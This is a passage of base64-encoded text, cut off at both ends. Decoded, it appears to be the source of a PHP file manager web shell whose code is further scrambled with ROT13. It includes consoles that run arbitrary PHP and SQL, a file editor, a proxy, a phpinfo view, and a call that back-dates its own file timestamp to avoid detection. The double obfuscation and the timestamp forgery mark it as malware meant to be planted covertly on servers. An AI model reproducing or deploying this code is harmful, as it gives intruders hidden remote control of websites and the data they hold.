4WXlHWGZtL1VQTk5ORVhQT1hlT09UL0dPVFBtTk91bU9PcW1PUC9rdEFiRVBXWkdQRHVPUFB6Rk5VVVd0WG5sUER2dlRtb05xWHpOaTFSTnFBWk9FblZuR3BONGhqeUo0UXcxalEvY3VQVzdPWFlsT1BERU9sTnRHTEZVbnZOU3Z2eXR3d3R0S3pMSzRWcFNWT09YWVdQUVd2T0VFVnhoRUFIdGtIYmNIVlNJVlVzVjlwdFY1dTFrVGhjUjdsTk5sdGlsVGlScGt5VlRsSEczSFFZSVFobnQzVGJFVGJ0aURNVURremI4SmJXaURwZURuQ0xqMmJyc0RkMnRDMmI4K0Q4cGpqQnRMT21DUm9RTmhrZkFQZkd0ZlBNQXdsN1J2ZU5sZWt1ZGpJZGpRaDRhMUw4K2txakRGdEhLTlBHTFJxMFZ0TEU1T0ZTdVpKUjdMRlh0dFVQRDBScWJXQWp4UXVTVVBXbFhHZFJoMFdlYkUrcERMTHdWa3UxdVZZUENKUmI4R1lrTzd2UkNSQWxERnZIWmxXN3pETnh6a2NTR0ZSZ1dUMHo1RlYreGZkTWYwRk9id3g4YW5NVGhsT216SFlQTmVsVkt4YXJHUTVRQ3hUK0R1OHlmWGFKV05wbkc0SCtWYkhmY2RGdWF5UkJIMDVETXl6UVdPSW5CbkhnMmJiSURFQUw5bkRkMnVneVhpSExyYlJtRTF6d2FBdGtNV0Y2SmdiY0tHVHp0S25DcWNlK3UwaHVVcXlFNUJ5OU9LMGZpY0Urdks2TkMwcWpqQXV1SlFrNHVhWE96b1ROcExNa3kzVFgrTEdYTE0wNGZNazFEakFtVWV6QnJNUTV5aUlJdGRndmM4U01VWFBjSVh5Rm5JVGxiaUlYemRjZGVyZHRnSTgxS1lJVitjS3lBOWV4TUlaMUN3ZERhSHlkZ0lkYzFENjFab0gycmNCNnZVZHpyYm8xRC9jVTVNL0x4VEpwQVpqMDlRY1NUdGZJL3dpWkx0UDJaTWYzdGZWSmZBZDRNMXRHS1JXZVVBMktrMlhlaEwvRTI3dm0yZGRuUjVEbUFYWjFybUhpQkhNdzhVNDV1aytXazBHdGFhWFhySzgzNlgzdUdpWHJWY1Q2TDBHWXhrTUlrZWRjbkt5eXZlRlhnRWQwc2VpR25oN25ycWNlMVNoMWE3dEQ1T2swYmFLUHFVTTQvQk9NM2FIOXlHM25wWGNrTUFDR2UxZXY2ZG42SG9ib2dScTc5aGMrNkxhZTVydFc1Wm82c3JybzNhK3VrOVkvMUgvSjM2Yy9JVVFTdFRmamp4T2dmWm11dDhrR0lrb21qcVk4c284SVNRS3BBTkQ2SXV5SlRLNExGRWhxUjhiOUlUd0hMQ3dUYVRLQlp4NDIzVG9wbndXdEx6VkZNWUdyY0E3Y2NGR296elhuTDdHUWdaazgzWm1uWUExY3gxem0wazFtWWF6K3JvMTVpc2cyT25yU2JmZ2R2MmhUSVdmaEVuY3lhaGdla2h1SWI1Sm5JTElJY3FmMG5nYW4weTFlaGdoNnBFYzd5QngwNmVhZ01hajdRa2dmejJkb3BNZkJLTE9naGhnejIyc0pTYUx1cWFnOEpoais2R2lNQTloYTJBL0cwVVFMc01RZGZxSnUxK3A3RWxTUWNKQmc2bm1jbWhDMzNTOVdvY1kycUxta1FDMlFDd2d1Q1lYcEVjYUlCbzAwcWFTMnI1cDRDbXZWaFdGNFlZWWNwK1ljZm9rZzNWaXJFWHFDSWtLclM2MGlKcXo3Qm9qaDJiMjYvaEFoNWM3YnNwYThqMGFsenJKR0FtMFpDVkQrT0U1cVIvUDUrSVpUaXNlVTVDRDArT003S2FWbDl3WTVTS2VxcmpnNkkzZGlxdTdrcCs5dzVsYStaKzRtajMzd1lySkkvWkE4UDNsWXNZRzhBaWF5K1MzMEEvVi85eC8zZS8wRFBhdFBIT01qQld0SFRPSmpZNytVYzhWbytCQ21lb01zbmwycjFPd1hQNURFSU93NFhndGhLT2VGU2JsQmxEZUZVMzU1d0J4cDVjUWJJRHNod0owTnF1NXpUWWozNFpXNEpVdUlyVEM0NWp2U3RuMEdUS0FLc0UzUkFtMzBHNkVXTVIzY2dhWkg4NWVsMVhBRmIrZHY1ZENBYjNod0Y2QzhMaE15YVoxSXZxSlJ5ZkZrajVZdmRoQXo1ZmlnLzg3c0JVNGMzdlArQTdTNXRpbFMxanJuVUJqaUZTY2tuY1l1VmZCY01OR1Z1QkJXR2pERU5kZE9uWldzVkdxbEpCUGFhUFVwV2FWdi9FQWdUVjJSQXBYdTVCOHh0ZEdLZEY3V1Q4QUt4eGtHQnlZQko1dVByY3hZa1pRSG1xem1kclNjYzJWVDBsQ0dkOVpMQkZ4TU9rRGRidUdNQjJNK2NhNXpNMmw2a3l1b1kra0o2WWdsOHJ5RHNXbjdCRGVOSU1ZRGQyRGRvYklTYmIxbGJVZnpxeUkybi9tTGFYQk1uZWF2aUE3cGxtbGdoREE1bWlhLy9nUmZWRjRNWDJjTE1ZSWwwcUpCbjllVGI1Zndra3JxZlg0a0hTWDRNSk9kajhoVmQyWHozSUc2aWdJNXJoc2UwenJ4MWV0STdPbGJZT2dEU2U2amdJUGhKU3NyaXAxKzFxRzF0aUpxKzFMc2RUYUVmK1NMelhldUdvUzVwSXM5dGIzVXd5VDRxaWxlK00zV0YwZG5pUmhKR0NNZ1d6NnJvcllNNW9RY25keStuS1F6NEEycWQwUXE5SmdCMzE5eEtvWTVzQVhBaDd0N01RaG5CL0NZdjhNbnNXbWYwN0MxRnhJQ0VIK3lEMjdnWXFnSlVLK1Q3RTd1ZzdpQ0wwN0FLb0o3bTMvRzdXaWdnSU5JSUExSm9JTXNnVys3QzNDNjZXZGhhNHlpZ2dLbjFCb0tVZ2tqQ0ZOLzBVVmo2MjE3YUgxRTNGQ0lFRnc5TGU2MHBCa2srKy9jM2lxbDBBQXQxSXdNbVQ0dkFqRVVheDZzcFczL3ByUUdlbnFiazdlQlJVMGs5MlVKcHFZMmNQemlYbkVjZ0d6aWdvTHloNkc4aiswcW9kM2FlOEU5ZnNRNWowQ1N5NUZpQUhsSmFuNkxZR3gyc2xtNGxxeU0xOXN2NzUzVFFvYmVNNzUyQ0IzMmJDbysrNlJVR3UweEsvditwN2lRaUJLQ1g0cUNYbDIrSEdJN3VLemQ4NksyM2RxQmI4L2NDR0c4cjdhWWhuZWV5cG43YWhyZTIxcjJvMzZFaHJBODdxOVkxNThFby8xZ0pyQkczcWlzQTZvL3NTOS9Lc1NnMStwdnM5bWZoNzJLcGE3ZDI4RzdrczlSUWdEcXlRM0xzSUMxaSszQXdpM1U5ZGpVcnQ4OVVwRS9wVHVMQ0MvY1Uxd2o5UU9MK013OGhUUUxvZWF3dCtCR2F2QzNZOTZzbGFEODl4bWxuclMvNnYvZmhoU2tMaXNpd0k2OXNCME13RWJNc2x5NUIvb0tseS9yZU42a3ppMjhvUGt1NitsS3RtWkk3MElpaWdqS3NwcWszaWI5OENHK0U4VlU4Yi8ydzVmc0lHMFhzN3hrekd4LzhSTjV3bS9UWm1ZcWZOTk5OVEx4Z1VFTlEvTkM4Ti82UDljNVpOTk5OV3BSdU1wak5OUGtaTk5OZkdORFBuYU90Tk5OTlVxUnlBRURzcFBOalRaR3Q1S1JSR05OTk84eHlSRElENGwzSkZaSi9HRE92VGErKzdmazNLcXFaTlZ6MGF4UGJ1RUR2V1FGUmtxTnkvTkdSalZDUm14U3ZMTFRFeWxabFRrWllSa1N1T2xsOU5QTm5uMHRMYVFieTlrOVFMdklmNDZxQ2F4L2orOTk3M2F0UVcvaTcrK2xOVlB3K3NWMFVOLzVNbVFoODltd3pCd2I2bHNlLy9qTldPZTlyN1Q0THVrSkZQRVNVOTAyZElNcWFMazNTOFFWREpWWmZsMWNWUktrRmJac0lXNTBTclFYSGVwVHBqTklQTkFSMWNnSWRiWGRkWFpubytlaU11aVpvYTFsL2p0NnFWZ1ZuVk5UTk9HeDVCRldWUjlFNE5SSFNJcHA3SUNzOTJqQ29neVVtM1BFZyt3ZGNGQjJ2MzI4RWtLQWdydUx0VmNlS0IrQkFtZXkzK3RnUk5SSjBQdWZadUpNTDE3eTVRd0JLMDBraGg3Ym01UkczeEh6cndPZ3JOR2RxUVVacmpSWDlQQ1FOL3NaSWY2a25vMjNnYVZpMlV0L1M0M1dsNDk0dEFUVTU0RnNzVE9kc2V3MHluRjNVUURNZHp1VFRWSjhFSmtzc2ErUWkyNTFnK2dyL0UzcmF1UkhGSklEQVRia1M1YWhBS2tYWFRlanNpUFVvaTRYODhqenZXNmFYandFdndYWlZMRG16c1Y0aWJFVkR2M2hNMzltNW96NTBtblVLZDRpNDFMUWRxdHR1RnlidW1OWmx6QnFxaTd6VFpIV015VjlNZGpSMFVkYnYxUzE1dVdJZWdQa3IrTnh0THV0R0pWZk10YnR0RWpJYzdMSlBlbGt2d1NKTmxUTmxyVklYYnBsWUoxYitiNmhwWThVenJtNFFrSys4cU5ZVDdacklITk5OTk5SeVNHeEZoRHpQUCIpOwp9Cjw/PXN6X3VienJfZmdseXIoKT8+Ci52enQgewoJb25weHRlYmhhcS12em50cjogCmhleSgicW5nbjp2em50ci9jYXQ7b25mcjY0LHZJT0JFajBYVHRiTk5OTkFGSHVSSHROTk5PTk5OTk5EUE5aTk5OTmJZRDlHTk5OTk9UcU9HSFJOTlgvVkFqSlg2RE5OTnFTREdTRVM3cjNnL3MzOWNXK3MrcFdud0k4ZDZyYWN4VFZ6L2ZTQi8rMkIzOTNwNWhvei9ma29xMjlsdnpxYXJTdDY1Qkd4Mm1iTDZoVXYxbU5GMXBlV2ZVZjJhbHRiM0FlbzJZT0tlTGd6MmM1Ti8rdUtjYkVkY1hCeGpldjQ2K2llMFpUMzZMZm02aHdjelY2TmFtSGxqWSsvektJRnpWT0E4b2pqdzFJT2xZVG1uMU1XMEFRRHdMRk8vOUF3ak02UGpITmZreDBvZU1sSmo3Y3pUTTRONllncXhVcXMvK0E4bGJqMjdvNUo4N0VBWU1ZLzJvdkM3ak5OLy9UV3k1cks0QXNMZm5uWXRjNnUxbytnLys2RTY4U3I4OWxwdnpNcS9oRGkzZTlBaGNQTzk5STI1bjFwSVdvb2FVdUIvOGtGK1pPbjhzUWp2Mld2NDhkdi8rZEJxSVZtZjM0ay8vVEJLVm1MYzVGQy9ma3RkY3ZWcGMrL2Z2RGNwemNmZ25sZm1GTkFoWFhHOUNHMDRoWXZqVnhsOFlxUitmSUppZG56OHIvaVk1Vk0rZXlVOHBBdDA4UHBtN25xOGlZbDlZZ0gxZGxIaE00K2U1MTIrOGYvakhjWTNxM3FrN0oxc1RBbi84OU0ycHNVK2Y1YTZCd2JvMUxnZjdYbTE5c0tqVnQ0YzFxQStDdzRtWUUwKzhjcTdmZ2V1WE5mLzl1dy85T0kxWGdzZ1lGMWFjMnFMeVdGTVNJSTVZRUp1UlNPNWV1TS85V2QwVWdHLy9QRnhWZFc2WDVRK1lBQW95SUlpd1owNDdNWm03cjMxa1JULy8vL2dYdGg2ak5OTldnMEh4NUcvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8valBJSWNYTE5OTk5US0VTSlVFR28yTTBxMlNsTURPT01UOXZNRk9Xb0pTYU1JV3lMSkU1cHB5eUNOTk5OQU1XRVJTSFhTQXd6WEp2Q0RmTVpaa3Z6ZmRDWGNObzJaZk5NQXdZQmp4bXR0SXpXTGFsY2YvRFI1OXJYUFJnT3VuTFNFc3dNaEd1VTI3eUw2eGRPa0xiZUYvQlpQNWp2VU14eTJEUFBJR3hBK2dlZ1N3NE1GY1p6bmpRU09RMHlQYmxhbU1PeTFhVld3NTVSeU9OMDljcWlwOW9oRzFGTFhMT0pqMURWUDBiQUxmd2VTVVdjRnhpRUxmT1hQUG9aOVVZQTlnSmVvZGF3SEhUTVQxTnVUaFZLTUVtY0R5M25UalEyTzJwTU0ybVJiWTdKK2g2ZGxOaGFNS1ZCWmlEZVNseGRqR3ZTbU9EQUJLdzREWG1iTlhtbndnTFZEak55aWdjeTNJNXA4Wk5OTk5ORkhJQkVYNVBMVlY9Iik7Cn0KQHpycXZuIGZwZXJyYSBuYXEgKHpuay1qdnFndTo3MjBjayl7CiAgZ25veXJ7cXZmY3lubDpveWJweDt9CiAgICAjc3pfZ25veXIgZ3F7cXZmY3lubDp2YXl2YXI7c3libmc6eXJzZzt9CiAgICAjc3pfZ25veXIgZ29icWwgZ3E6c3ZlZmctcHV2eXF7anZxZ3U6MTAwJTtjbnFxdmF0OjA7fQogICAgI3N6X2dub3lyIGdvYnFsIGdlOmFndS1wdXZ5cSgyYSsxKXtvbnB4dGViaGFxLXBieWJlOiNSU1JTUlM7fQogICAgI3N6X2dub3lyIGdvYnFsIGdlOmFndS1wdXZ5cSgyYSl7b25weHRlYmhhcS1wYnliZTojUVJSM1I3O30KICAgICNzel9nbm95ciBnZXtxdmZjeW5sOm95YnB4O3N5Ym5nOnlyc2c7cHlybmU6eXJzZztqdnFndToxMDAlO30KCSN1cm5xcmVfZ25veXIgLmViajIsICN1cm5xcmVfZ25veXIgLmViajMge3F2ZmN5bmw6dmF5dmFyO3N5Ym5nOnlyc2c7anZxZ3U6MTAwJTtjbnFxdmF0OjA7fQoJI3VybnFyZV9nbm95ciBnbm95ciBncSB7cXZmY3lubDp2YXl2YXI7c3libmc6eXJzZzt9Cn0KPC9mZ2x5cj4KPC91cm5xPgo8b2JxbD4KPD9jdWMKJGhleV92YXAgPSAnP3N6PWdlaHInOwp2cyAodmZmcmcoJF9DQkZHWydmZHllaGEnXSkmJiFyemNnbCgkc3pfcGJhc3Z0WydyYW5veXJfZmR5X3BiYWZieXInXSkpewoJJGVyZiA9IHJ6Y2dsKCRfQ0JGR1snZmR5J10pID8gJycgOiAkX0NCRkdbJ2ZkeSddOwoJJGVyZl95YXQgPSAnZmR5JzsKfSByeWZydnMgKHZmZnJnKCRfQ0JGR1snY3VjZWhhJ10pJiYhcnpjZ2woJHN6X3BiYXN2dFsncmFub3lyX2N1Y19wYmFmYnlyJ10pKXsKCSRlcmYgPSByemNnbCgkX0NCRkdbJ2N1YyddKSA/ICcnIDogJF9DQkZHWydjdWMnXTsKCSRlcmZfeWF0ID0gJ2N1Yyc7Cn0gCnZzICh2ZmZyZygkX1RSR1snc3pfZnJnZ3ZhdGYnXSkpIHsKCXJwdWIgJyAKPGdub3lyIHB5bmZmPSJqdWJ5ciI+CjxzYmV6IHpyZ3VicT0iY2JmZyIgbnBndmJhPSIiPgo8Z2U+PGd1IHBieWZjbmE9IjIiPicuX18oJ1N2eXIgem5hbnRyZScpLicgLSAnLl9fKCdGcmdndmF0ZicpLic8L2d1PjwvZ2U+CicuKHJ6Y2dsKCR6ZnQpPycnOic8Z2U+PGdxIHB5bmZmPSJlYmoyIiBwYnlmY25hPSIyIj4nLiR6ZnQuJzwvZ3E+PC9nZT4nKS4nCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaiBmdm1yIGJzIGd1ciBzYnlxcmUnKSwnZnVial9xdmVfZnZtcicpLicKJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyAnLl9fKCdjdnBnaGVyZicpLCdmdWJqX3Z6dCcpLicKJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyAnLl9fKCdabnhyIHF2ZXJwZ2JlbCcpLCd6bnhyX3F2ZXJwZ2JlbCcpLicKJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyAnLl9fKCdBcmogc3Z5cicpLCdhcmpfc3Z5cicpLicKJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyAnLl9fKCdIY3libnEnKSwnaGN5Ym5xX3N2eXInKS4nCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgQ1VDIGlyZWZ2YmEnLCdmdWJqX2N1Y19pcmUnKS4nCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgQ1VDIHZhdicsJ2Z1YmpfY3VjX3ZhdicpLicKJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyAnLl9fKCdUcmFyZW5ndmJhIGd2enInKSwnZnVial90ZycpLicKJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyBreWYnLCdmdWJqX2t5ZicpLicKJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyBDVUMgJy5fXygnUGJhZmJ5cicpLCdyYW5veXJfY3VjX3BiYWZieXInKS4nCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgRkRZICcuX18oJ1BiYWZieXInKSwncmFub3lyX2ZkeV9wYmFmYnlyJykuJwo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0ic3pfcGJhc3Z0W2ZkeV9mcmVpcmVdIiBpbnlocj0iJy4kc3pfcGJhc3Z0WydmZHlfZnJlaXJlJ10uJyIgZ2xjcj0iZ3JrZyI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPkZEWSBmcmVpcmU8L2dxPjwvZ2U+CjxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSJzel9wYmFzdnRbZmR5X2hmcmVhbnpyXSIgaW55aHI9IicuJHN6X3BiYXN2dFsnZmR5X2hmcmVhbnpyJ10uJyIgZ2xjcj0iZ3JrZyI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPkZEWSBoZnJlPC9ncT48L2dlPgo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0ic3pfcGJhc3Z0W2ZkeV9jbmZmamJlcV0iIGlueWhyPSInLiRzel9wYmFzdnRbJ2ZkeV9jbmZmamJlcSddLiciIGdsY3I9Imdya2ciPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj5GRFkgY25mZmpiZXE8L2dxPjwvZ2U+CjxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSJzel9wYmFzdnRbZmR5X3FvXSIgaW55aHI9IicuJHN6X3BiYXN2dFsnZmR5X3FvJ10uJyIgZ2xjcj0iZ3JrZyI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPkZEWSBRTzwvZ3E+PC9nZT4KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyBDZWJrbCcsJ3Jhbm95cl9jZWJrbCcpLicKJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyBjdWN2YXNiKCknLCdmdWJqX2N1Y3Zhc2InKS4nCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgJy5fXygnRnJnZ3ZhdGYnKSwnc3pfZnJnZ3ZhdGYnKS4nCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRXJmZ2JlciBzdnlyIGd2enIgbnNncmUgcnF2Z3ZhdCcpLCdlcmZnYmVyX2d2enInKS4nCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnU3Z5ciB6bmFudHJlJykuJzogJy5fXygnRXJmZ2JlciBzdnlyIGd2enIgbnNncmUgcnF2Z3ZhdCcpLCdzel9lcmZnYmVyX2d2enInKS4nCjxnZT48Z3EgcHluZmY9ImViajMiPjxuIHVlcnM9Iicuc3pfaGV5KCkuJz9zel9mcmdndmF0Zj1nZWhyJnN6X3BiYXN2dF9xcnlyZ3I9Z2VociI+Jy5fXygnRXJmcmcgZnJnZ3ZhdGYnKS4nPC9uPjwvZ3E+PGdxIHB5bmZmPSJlYmozIj48dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iJy5fXygnRm5pcicpLiciIGFuenI9InN6X3BiYXN2dFtzel9mcmdfZmhvenZnXSI+PC9ncT48L2dlPgo8L3NiZXo+CjwvZ25veXI+Cjxnbm95cj4KPHNiZXogenJndWJxPSJjYmZnIiBucGd2YmE9IiI+CjxnZT48Z3UgcGJ5ZmNuYT0iMiI+Jy5fXygnRnJnZ3ZhdGYnKS4nIC0gJy5fXygnTmhndWJldm1uZ3ZiYScpLic8L2d1PjwvZ2U+CjxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSJzel95YnR2YVtuaGd1YmV2bXJdIiBpbnlocj0iMSIgJy4oJG5oZ3VbJ25oZ3ViZXZtciddPydwdXJweHJxJzonJykuJyBnbGNyPSJwdXJweG9iayIgdnE9Im5oZ3UiPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj48eW5vcnkgc2JlPSJuaGd1Ij4nLl9fKCdOaGd1YmV2bW5ndmJhJykuJzwveW5vcnk+PC9ncT48L2dlPgo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0ic3pfeWJ0dmFbeWJ0dmFdIiBpbnlocj0iJy4kbmhndVsneWJ0dmEnXS4nIiBnbGNyPSJncmtnIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+Jy5fXygnWWJ0dmEnKS4nPC9ncT48L2dlPgo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0ic3pfeWJ0dmFbY25mZmpiZXFdIiBpbnlocj0iJy4kbmhndVsnY25mZmpiZXEnXS4nIiBnbGNyPSJncmtnIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+Jy5fXygnQ25mZmpiZXEnKS4nPC9ncT48L2dlPgo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0ic3pfeWJ0dmFbcGJieHZyX2FuenJdIiBpbnlocj0iJy4kbmhndVsncGJieHZyX2FuenInXS4nIiBnbGNyPSJncmtnIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+Jy5fXygnUGJieHZyJykuJzwvZ3E+PC9nZT4KPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIGFuenI9InN6X3lidHZhW3FubGZfbmhndWJldm1uZ3ZiYV0iIGlueWhyPSInLiRuaGd1WydxbmxmX25oZ3ViZXZtbmd2YmEnXS4nIiBnbGNyPSJncmtnIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+Jy5fXygnUW5sZicpLic8L2dxPjwvZ2U+CjxnZT48Z3EgcHluZmY9ImViajEiPjxncmtnbmVybiBhbnpyPSJzel95YnR2YVtmcGV2Y2ddIiBwYnlmPSIzNSIgZWJqZj0iNyIgcHluZmY9Imdya2duZXJuX3ZhY2hnIiB2cT0ibmhndV9mcGV2Y2ciPicuJG5oZ3VbJ2ZwZXZjZyddLic8L2dya2duZXJuPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj4nLl9fKCdGcGV2Y2cnKS4nPC9ncT48L2dlPgo8Z2U+PGdxIHBieWZjbmE9IjIiIHB5bmZmPSJlYmozIj48dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iJy5fXygnRm5pcicpLiciID48L2dxPjwvZ2U+Cjwvc2Jlej4KPC9nbm95cj4nOwpycHViIHN6X2djeV9zYmV6KCdjdWMnKSxzel9nY3lfc2JleignZmR5Jyk7Cn0gcnlmcnZzICh2ZmZyZygkY2Via2xfc2JleikpIHsKCXF2cigkY2Via2xfc2Jleik7Cn0gcnlmcnZzICh2ZmZyZygkZXJmX3lhdCkpIHsJCj8+Cjxnbm95ciBweW5mZj0ianVieXIiPgo8Z2U+CiAgICA8Z3U+PD89X18oJ1N2eXIgem5hbnRyZScpLicgLSAnLiRjbmd1Pz48L2d1Pgo8L2dlPgo8Z2U+CiAgICA8Z3EgcHluZmY9ImViajIiPjxnbm95cj48Z2U+PGdxPjx1Mj48Pz1mZ2VnYmhjY3JlKCRlcmZfeWF0KT8+IDw/PV9fKCdQYmFmYnlyJyk/Pjw/Y3VjCgl2cygkZXJmX3lhdD09J2ZkeScpIHJwdWIgJyAtIFFuZ25vbmZyOiAnLiRzel9wYmFzdnRbJ2ZkeV9xbyddLic8L3UyPjwvZ3E+PGdxPicuc3pfZWhhX3ZhY2hnKCdjdWMnKTsKCXJ5ZnIgcnB1YiAnPC91Mj48L2dxPjxncT4nLnN6X2VoYV92YWNoZygnZmR5Jyk7Cgk/PjwvZ3E+PC9nZT48L2dub3lyPjwvZ3E+CjwvZ2U+CjxnZT4KICAgIDxncSBweW5mZj0iZWJqMSI+CgkJPG4gdWVycz0iPD89JGhleV92YXAuJyZjbmd1PScgLiAkY25ndTs/PiI+PD89X18oJ09ucHgnKT8+PC9uPgoJCTxzYmV6IG5wZ3ZiYT0iIiB6cmd1YnE9IkNCRkciIGFuenI9InBiYWZieXIiPgoJCTxncmtnbmVybiBhbnpyPSI8Pz0kZXJmX3lhdD8+IiBwYnlmPSI4MCIgZWJqZj0iMTAiIGZnbHlyPSJqdnFndTogOTAlIj48Pz0kZXJmPz48L2dya2duZXJuPjxvZS8+CgkJPHZhY2hnIGdsY3I9ImVyZnJnIiBpbnlocj0iPD89X18oJ0VyZnJnJyk/PiI+CgkJPHZhY2hnIGdsY3I9ImZob3p2ZyIgaW55aHI9Ijw/PV9fKCdGaG96dmcnKT8+IiBhbnpyPSI8Pz0kZXJmX3lhdD8+ZWhhIj4KPD9jdWMKJGZnZV9nemN5ID0gJGVyZl95YXQuJ19ncnpjeW5ncmYnOwokZ3pjeSA9ICFyemNnbCgkJGZnZV9nemN5KSA/IHdmYmFfcXJwYnFyKCQkZmdlX2d6Y3ksZ2VocikgOiAnJzsKdnMgKCFyemNnbCgkZ3pjeSkpewoJJG5wZ3ZpciA9IHZmZnJnKCRfQ0JGR1skZXJmX3lhdC4nX2djeSddKSA/ICRfQ0JGR1skZXJmX3lhdC4nX2djeSddIDogJyc7CgkkZnJ5cnBnID0gJzxmcnlycGcgYW56cj0iJy4kZXJmX3lhdC4nX2djeSIgZ3ZneXI9IicuX18oJ0dyemN5bmdyJykuJyIgYmFwdW5hdHI9InZzIChndXZmLmlueWhyIT0tMSkgcWJwaHpyYWcuc2JlemZbXCdwYmFmYnlyXCddLnJ5cnpyYWdmW1wnJy4kZXJmX3lhdC4nXCddLmlueWhyID0gZ3V2Zi5iY2d2YmFmW2ZyeXJwZ3JxVmFxcmtdLmlueWhyOyByeWZyIHFicGh6cmFnLnNiZXpmW1wncGJhZmJ5clwnXS5yeXJ6cmFnZltcJycuJGVyZl95YXQuJ1wnXS5pbnlociA9XCdcJzsiID4nLiJcYSI7CgkkZnJ5cnBnIC49ICc8YmNndmJhIGlueWhyPSItMSI+JyAuIF9fKCdGcnlycGcnKSAuICI8L2JjZ3ZiYT5cYSI7CglzYmVybnB1ICgkZ3pjeSBuZiAkeHJsPT4kaW55aHIpewoJCSRmcnlycGcuPSc8YmNndmJhIGlueWhyPSInLiRpbnloci4nIiAnLigoIXJ6Y2dsKCRpbnlocikmJigkaW55aHI9PSRucGd2aXIpKT8nZnJ5cnBncnEnOicnKS4nID4nLl9fKCR4cmwpLiI8L2JjZ3ZiYT5cYSI7Cgl9CgkkZnJ5cnBnIC49ICI8L2ZyeXJwZz5cYSI7CglycHViICRmcnlycGc7Cn0KPz4KCQk8L3NiZXo+Cgk8L2dxPgo8L2dlPgo8L2dub3lyPgo8P2N1YwoJdnMgKCFyemNnbCgkZXJmKSkgewoJCSRzaGE9J3N6XycuJGVyZl95YXQ7CgkJcnB1YiAnPHUzPicuZmdlZ2JoY2NyZSgkZXJmX3lhdCkuJyAnLl9fKCdFcmZoeWcnKS4nPC91Mz48Y2VyPicuJHNoYSgkZXJmKS4nPC9jZXI+JzsKCX0KfSByeWZydnMgKCFyemNnbCgkX0VSREhSRkdbJ3JxdmcnXSkpewoJdnMoIXJ6Y2dsKCRfRVJESFJGR1snZm5pciddKSkgewoJCSRzYSA9ICRjbmd1IC4gJF9FUkRIUkZHWydycXZnJ107CgkJJHN2eXJ6Z3Z6ciA9IHN2eXJ6Z3Z6cigkc2EpOwoJICAgIHZzIChzdnlyX2NoZ19wYmFncmFnZigkc2EsICRfRVJESFJGR1snYXJqcGJhZ3JhZyddKSkgJHpmdCAuPSBfXygnU3Z5ciBoY3FuZ3JxJyk7CgkJcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOwoJCXZzICgkX1RSR1sncnF2ZyddPT1vbmZyYW56cihfX1NWWVJfXykpIHsKCQkJZ2JocHUoX19TVllSX18sMTQxNTExNjM3MSk7CgkJfSByeWZyIHsKCQkJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydlcmZnYmVyX2d2enInXSkpIGdiaHB1KCRzYSwkc3Z5cnpndnpyKTsKCQl9Cgl9CiAgICAkYnlxcGJhZ3JhZyA9IEBzdnlyX3RyZ19wYmFncmFnZigkY25ndSAuICRfRVJESFJGR1sncnF2ZyddKTsKICAgICRycXZneXZheCA9ICRoZXlfdmFwIC4gJyZycXZnPScgLiAkX0VSREhSRkdbJ3JxdmcnXSAuICcmY25ndT0nIC4gJGNuZ3U7CiAgICAkb25weHl2YXggPSAkaGV5X3ZhcCAuICcmY25ndT0nIC4gJGNuZ3U7Cj8+Cjxnbm95ciBvYmVxcmU9JzAnIHByeXlmY25wdmF0PScwJyBwcnl5Y25xcXZhdD0nMScganZ